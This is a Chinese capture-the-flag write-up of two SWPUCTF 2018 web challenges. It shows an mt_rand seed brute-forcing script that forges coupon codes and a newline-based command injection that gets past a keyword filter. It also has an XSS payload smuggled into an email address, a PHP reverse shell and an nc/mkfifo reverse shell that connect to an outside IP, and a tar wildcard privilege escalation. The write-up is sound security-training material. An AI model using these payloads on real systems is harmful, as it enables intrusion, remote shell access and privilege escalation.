SWPUCTF 2018 Web两道

前言

西南石油大学比赛,做出了一道xss+tar提权,flask卡在了构造继承链

用优惠码 买个 X ?

flag在/flag中
URL http://123.207.84.13:22333

注册个账号登录
登录提示送你优惠码

优惠码保存在cookie中的Auth中
输入优惠码提示要输入24位的优惠码

http://123.207.84.13:22333/www.zip 源码泄露
只有个source.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

代码中只生成了15位。验证应该还有一个生成24位。
无论是rand()函数还是mt_rand()函数,当随机数种子相同的时候,无论运行多少次,产生的随机数序列都是一样的,随机数种子是关键。但是种子范围在rand(0,999999999);
只能爆破了,
kali下php版本为7.2.4,题目的版本是PHP/7.2.9-1,我发现本地用php5.4使用一样的种子生成的是不一样的序列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
ini_set('max_execution_time','0');
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";//62
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*(-1), 1);
}
return $auth;
//setcookie('Auth', $auth);
}
for($i=0;$i<999999999;$i++)
{
$_SESSION['seed'] = $i;
if(youhuima() == "tmqoTcEJIQ5lrsF")
{
echo $i,"</br>";
echo youhuima();
exit();
}
}
//echo "tmqoTcEJIQ5lrsF";
?>

也就几分钟,就爆破出来了。可能是运气好

得到随机种子15252003,
设置$_SESSION[‘seed’]为15252003,得到优惠码tmqoTcEJsk5PJsFZfOqDZXbd
已经得到的session
PHPSESSID=42i3mgn649nj6vsvtc05h2oej6
进入下一个support
http://123.207.84.13:22333/exec.php

1
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){

虽然有了开头^和结尾$,但是有/m参数,/m表示开启多行匹配模式
使用%0a绕过
1.1.1.1%0awhoami
不知道为什么在输入框输入不行,要用参数提交
POST:ip=1.1.1.1%0awhoami

1
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){

过滤了cat flag关键字
使用变量绕过

1
2
a=c;b=at;c=fl;d=ag;$a$b $c$d
ip=127.0.0.1%0acd ../../../;ls -l;a=c;b=at;c=fl;d=ag;$a$b $c$d

有趣的邮箱注册

post 传参 email,参考 p师傅 文章 攻击LNMP架构Web应用的几个小Tricks,将local part包裹在双引号中,""<sCRiPt/SrC=//xsspt.com/></sCRiPt>"@123.com" 可绕过检测,xss

借助 xss平台读取 /admin/admin.php 页面源码,a0a.php 发现命令执行

命令执行反弹shell,php -r '$sock=fsockopen("120.123.123.123",6789);exec("/bin/sh -i <&3 >&3 2>&3");' flag在根目录下,shell用户为 www-data ,权限不够读取

查看目录或 nginx 配置文件发现目录 /4f0a5ead5aef34138fcbf8cf00029e7b,一个上传文件页面

files目录是文件上传的目录

backup.php 文件源码:

upload.php 属于 flag 用户,代码里执行了 tar 命令,参考这篇文章 利用通配符进行Linux本地提权

创建三个文件:

1
2
3
echo "mkfifo /tmp/lhennp; nc 120.123.123.123 23333 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > Str3am.sh
echo " " > --checkpoint-action=exec=sh Str3am
echo " " > --checkpoint=1

通过 upload.php 上传,然后访问 backup.php ,得到反弹 shell,flag用户权限